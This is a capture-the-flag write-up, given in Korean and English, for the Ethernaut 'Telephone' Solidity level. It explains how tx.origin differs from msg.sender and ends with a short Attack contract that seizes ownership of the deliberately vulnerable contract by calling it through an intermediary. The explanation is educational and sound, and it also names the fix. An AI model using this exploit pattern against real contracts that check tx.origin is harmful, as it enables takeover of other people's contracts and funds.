Ethernaut 04 Telephone
Ethernaut 04 TelephoneEthernaut 04 TelephoneEthernaut 04 Telephone 문제 풀이Ethernaut 04 Telephone writeup
Contents
문제
지문
Claim ownership of the contract below to complete this level. Things that might help See the "?" page above, section "Beyond the console"
코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}배경지식
솔리디티에는 EVM이 자동으로 제공하는 내장 전역 변수들이 있다. 이 문제에서는 msg.sender와 tx.origin을 비교한다.
msg.sender는 현재 함수를 직접 호출한 주소다. EOA가 컨트랙트 A를 호출하면 A 입장에서 msg.sender는 EOA이고, 컨트랙트 A가 컨트랙트 B를 호출하면 B 입장에서 msg.sender는 A가 된다.
반면 tx.origin은 트랜잭션을 최초로 발생시킨 EOA를 가리킨다. 중간에 컨트랙트 호출이 몇 번 이어져도 한 트랜잭션 안에서 tx.origin은 처음 서명한 계정으로 유지된다.
호출 흐름을 아래처럼 만들면 두 값이 갈라진다.
EOA -> Attack.attack() -> Telephone.changeOwner()이때 Telephone 입장에서 tx.origin은 EOA이고, msg.sender는 Attack 컨트랙트다.
tx.origin은 트랜잭션의 최초 발신자만 알려줄 뿐, 현재 함수 호출을 누가 직접 수행했는지는 알려주지 않는다. 그래서 권한 체크에 tx.origin을 섞으면 중간 컨트랙트를 끼워 넣는 호출 흐름에 취약해진다.
소유자 변경처럼 권한이 필요한 로직은 보통 msg.sender를 기준으로 판단해야 한다. 현재 호출자를 기준으로 해야 어떤 컨트랙트가 실제로 함수를 호출했는지 통제할 수 있기 때문이다.
문제 코드 분석
초기 owner는 생성자에서 설정된다.
address public owner;
constructor() {
owner = msg.sender;
}배포 시점의 msg.sender가 owner로 저장된다. Ethernaut 인스턴스에서는 레벨 컨트랙트가 새 인스턴스를 만들어주므로, 플레이어는 처음부터 owner가 아니다.
목표는 이 owner 값을 플레이어 주소로 바꾸는 것이다.
changeOwner의 조건은 다음과 같다.
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}changeOwner는 누구나 호출할 수 있는 public 함수다. 별도의 onlyOwner 같은 제한도 없다.
조건은 tx.origin != msg.sender다. 플레이어 EOA가 직접 changeOwner를 호출하면 tx.origin과 msg.sender가 둘 다 플레이어 주소가 되므로 조건을 통과하지 못한다.
반대로 플레이어가 공격 컨트랙트를 호출하고, 그 공격 컨트랙트가 다시 Telephone.changeOwner를 호출하면 상황이 달라진다. Telephone 안에서는 tx.origin이 플레이어 EOA이고 msg.sender가 공격 컨트랙트 주소가 된다. 그래서 조건이 참이 되고, owner를 원하는 주소로 바꿀 수 있다.
풀이
중간에 Attack 컨트랙트를 하나 두고, 그 안에서 Telephone.changeOwner를 호출하면 된다.
changeOwner의 인자에는 새 owner가 될 플레이어 주소를 넣는다. 그러면 Telephone 입장에서는 직접 호출자가 Attack 컨트랙트가 되므로 tx.origin != msg.sender 조건을 통과한다.
익스플로잇
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Telephone {
function changeOwner(address _owner) external;
}
contract Attack {
Telephone telephone;
constructor(address addr) {
telephone = Telephone(addr);
}
function attack() public {
telephone.changeOwner(0x285ac9F8881D867556fCf6C16F26e3629F86C971);
}
}

Challenge
Prompt
Claim ownership of the contract below to complete this level. Things that might help See the "?" page above, section "Beyond the console"
Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}Background
Solidity has built-in global variables automatically provided by the EVM. This challenge compares msg.sender and tx.origin.
msg.sender is the address that directly called the current function. When an EOA calls contract A, from A's perspective msg.sender is the EOA; when contract A calls contract B, from B's perspective msg.sender is A.
tx.origin, on the other hand, points to the EOA that originally initiated the transaction. No matter how many contract calls are chained in the middle, within a single transaction tx.origin stays the account that first signed it.
Shaping the call flow as below splits the two values apart.
EOA -> Attack.attack() -> Telephone.changeOwner()Here, from Telephone's perspective tx.origin is the EOA and msg.sender is the Attack contract.
tx.origin only tells you the original sender of the transaction; it does not tell you who directly performed the current function call. So mixing tx.origin into an authorization check makes it vulnerable to call flows that insert an intermediate contract.
Logic that requires authorization, such as changing the owner, should normally be decided based on msg.sender. Checking the current caller lets you control which contract actually called the function.
Challenge code analysis
The initial owner is set in the constructor.
address public owner;
constructor() {
owner = msg.sender;
}The msg.sender at deployment time is stored as owner. On an Ethernaut instance, the level contract creates a new instance, so the player is not the owner at the start.
The goal is to change this owner value to the player's address.
Here is the condition in changeOwner.
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}changeOwner is a public function anyone can call. There's no additional restriction such as onlyOwner.
The condition is tx.origin != msg.sender. If the player EOA calls changeOwner directly, both tx.origin and msg.sender become the player's address, so the condition is not satisfied.
If the player instead calls an attacking contract that in turn calls Telephone.changeOwner, the two values split. Inside Telephone, tx.origin is the player EOA and msg.sender is the attacking contract's address. So the condition becomes true and we can change owner to any address we want.
Solution
Place an Attack contract in the middle and call Telephone.changeOwner from inside it.
As the argument to changeOwner, put the player's address that will become the new owner. Then, from Telephone's perspective, the direct caller is the Attack contract, so it passes the tx.origin != msg.sender condition.
Exploit
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Telephone {
function changeOwner(address _owner) external;
}
contract Attack {
Telephone telephone;
constructor(address addr) {
telephone = Telephone(addr);
}
function attack() public {
telephone.changeOwner(0x285ac9F8881D867556fCf6C16F26e3629F86C971);
}
}
